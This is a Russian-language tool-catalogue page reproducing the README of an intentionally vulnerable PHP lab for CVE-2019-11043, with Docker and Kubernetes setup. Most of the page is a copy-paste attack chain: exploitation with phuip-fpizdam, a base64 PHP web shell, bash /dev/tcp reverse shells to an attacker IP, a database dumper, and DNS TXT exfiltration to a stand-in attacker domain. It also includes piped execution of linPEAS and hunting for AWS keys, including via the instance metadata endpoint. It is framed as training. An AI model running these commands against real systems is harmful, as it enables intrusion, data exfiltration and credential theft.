Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ctf-cve-2019-11043 — Преднамеренно уязвимое PHP-приложение с настройкой Nginx/PHP-FPM для воспроизведения CVE-2019-11043, включая развёртывание в Docker и Kubernetes, упражнения по пост-эксплуатации и интеграцию с phuip-fpizdam. | Kitploit
Инструменты/GitHubGitHub/a1ex-var1amov/ctf-cve-2019-11043
Повышение привилегийБезопасность контейнеровАнализ уязвимостейЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияCTFБезопасность облачных средОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Безопасность Баз Данных
Лаборатории и Практика
GitHuba1ex-var1amov/ctf-cve-2019-11043

ctf-cve-2019-11043

Преднамеренно уязвимое PHP-приложение с настройкой Nginx/PHP-FPM для воспроизведения CVE-2019-11043, включая развёртывание в Docker и Kubernetes, упражнения по пост-эксплуатации и интеграцию с phuip-fpizdam.

Репозиторий
41 год назадЕщё не проверено

Приложение для управления задачами (Лаборатория CVE-2019-11043)

Минимальное PHP-приложение с преднамеренно уязвимой конфигурацией Nginx/PHP-FPM для воспроизведения CVE-2019-11043. Включает небольшой менеджер задач, вход/админку и интерфейс конфигурации БД.

Сборка и запуск (Docker)

root@kitploit:~
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

Быстрый старт эксплуатации

Используйте phuip-fpizdam против status.php, дайте ему обнаружить параметры, затем запустите повторно с --skip-detect.

root@kitploit:~
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

Поддержка баз данных

Приложение поддерживает как SQLite, так и MySQL с автоматическим определением:

SQLite (по умолчанию)

  • DSN: sqlite:/var/www/html/data/app.sqlite
  • Аутентификация не требуется
  • Автоматическая настройка — файл базы данных создаётся при первом запуске
  • Идеально подходит для разработки и тестирования

MySQL (опционально)

  • DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
  • Требуется аутентификация по имени пользователя/паролю
  • Переопределение через переменные окружения для развёртываний в Kubernetes

Переменные окружения

Когда эти переменные окружения установлены, они автоматически переопределяют DSN:

  • DB_HOST — Имя хоста базы данных
  • DB_PORT — Порт базы данных (по умолчанию: 3306)
  • DB_NAME — Имя базы данных
  • DB_USER — Имя пользователя базы данных
  • DB_PASS — Пароль базы данных

Автоматические миграции

  • Приложение запускает миграции по запросу (например, index.php, login.php, admin.php).
  • Пробы K8s обращаются к /health.php, который также проверяет подключение к БД.
  • Не требуется внешняя задача миграции или локальный PHP.

Развёртывание в Kubernetes (EKS)

Манифесты находятся в k8s/:

  • k8s/secret.yaml: учётные данные MySQL (заполнители stringData)
  • k8s/mysql-deployment.yaml: Deployment MySQL + Service
  • k8s/app-deployment.yaml: Deployment приложения (привилегированный) + Service; монтирует секрет и устанавливает переменные окружения БД
  • k8s/ingress.yaml: маршрутизация Nginx Ingress к приложению

Заполнитель образа использует quay.io – измените quay.io/your-org/cve-2019-11043-lab:app на ваш репозиторий.

Порядок применения:

root@kitploit:~
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

Ingress предполагает наличие Nginx Ingress Controller и указание DNS/hosts taskapp.local на его адрес.

Структура проекта

  • public/: корень веб-сервера (точки входа)
  • app/: вспомогательные функции приложения (конфиг, БД, аутентификация, версия)
  • php/: переопределения PHP-FPM ini
  • k8s/: манифесты Kubernetes
  • data/: данные времени выполнения (БД SQLite, конфиг)

Администратор по умолчанию

Вход на /login.php с admin / admin (подсказка в интерфейсе скрыта CSS).

Интерфейс конфигурации базы данных

Доступ к /db_config.php от имени администратора для:

  • Просмотра текущего состояния и типа базы данных
  • Переключения между SQLite и MySQL
  • Настройки параметров подключения
  • Просмотра примеров подключения для обоих типов баз данных

Отказ от ответственности

Это преднамеренно уязвимое окружение. Не подвергайте его воздействию ненадёжных сетей.

Сборка многоплатформенного образа (Buildx)

Соберите и отправьте многоплатформенный образ (linux/amd64, linux/arm64) в quay.io.

Предварительные требования: Docker Buildx (входит в Docker Desktop). Опциональная эмуляция QEMU: docker run --privileged --rm tonistiigi/binfmt --install all.

root@kitploit:~
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

Сквозная работа с phuip-fpizdam (копировать/вставить)

Установите цели:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

Эксплуатация (автоопределение, затем финальный запуск):

root@kitploit:~
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

Разместите миниатюрную веб-шелл и проверьте выполнение:

root@kitploit:~
# запись /public/sh.php (запускатель команд) через RCE-примитив эксплойта (примеры зависят от вывода инструмента)
# альтернативно, если у вас уже есть RCE, можно отправить curl прямо с вашего хоста:
curl -s "$BASE/" -o /dev/null # разогрев
# минимальный запускатель команд с вашего хоста
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# доставьте через RCE или любой примитив записи в /var/www/html/public/sh.php
# проверка:
curl -s "$BASE/sh.php?c=whoami"

Продолжите ниже упражнениями пост-эксплуатационной лаборатории: reverse shell, дамп MySQL, эксфильтрация через DNS TXT, linPEAS и поиск ключей AWS.

Упражнения пост-эксплуатационной лаборатории (только для этой лаборатории)

Эти шаги предназначены только для образовательного использования в данной лабораторной среде.

Установите базовый URL и IP атакующего:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) Получить выполнение команд и разместить простую веб-шелл

После эксплуатации CVE-2019-11043 с помощью phuip-fpizdam используйте RCE-примитив для записи миниатюрной веб-шелл. Если у вас уже есть оболочка внутри контейнера, выполните:

root@kitploit:~
# запись /public/sh.php с минимальным запускателем команд
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

Если у вас только RCE (без оболочки), выполните ту же запись base64 через RCE-примитив (например, через инструмент эксплуатации).

Проверка:

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

2) whoami

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

3) Попытка reverse shell (bash /dev/tcp)

На вашем хосте атакующего:

root@kitploit:~
nc -lvnp "$ATTACKER_PORT"

Запуск с цели (команда в URL-кодировке):

root@kitploit:~
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

Если bash недоступен, попробуйте:

root@kitploit:~
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) Резервное копирование MySQL (дамп)

Вариант A (через оператор кластера):

root@kitploit:~
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

Вариант B (через веб-шелл с использованием PHP PDO): напишите быстрый скрипт дампера, использующий конфигурацию приложения:

root@kitploit:~
# создание /public/dump.php с использованием веб-шелл RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# получение дампа
curl -s "$BASE/dump.php" | tee dump.json

5) Эксфильтрация через DNS TXT (учебный пример)

Направьте тестовый домен, которым вы управляете (например, exf.attacker.tld), на сервер имён, который вы перехватываете (например, dnschef или bind). Затем с цели запустите DNS-запросы, несущие фрагменты:

root@kitploit:~
# минимальная PHP-эксфильтрация с использованием DNS-запросов
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

Наблюдайте запросы на вашем сервере имён; восстановите по меткам.

6) Загрузить и запустить linPEAS (перебор повышения привилегий)

root@kitploit:~
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) Поиск ключей AWS

root@kitploit:~
# переменные окружения
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# файловая система (возможные смонтированные секреты, конфиги, код)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# метаданные инстанса (если доступны; обычно заблокированы для подов)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

Повторю: выполняйте эти действия только в рамках данной лаборатории. Никогда не тестируйте системы, которыми вы не владеете или на которые у вас нет явного разрешения на оценку.

Скачать инструмент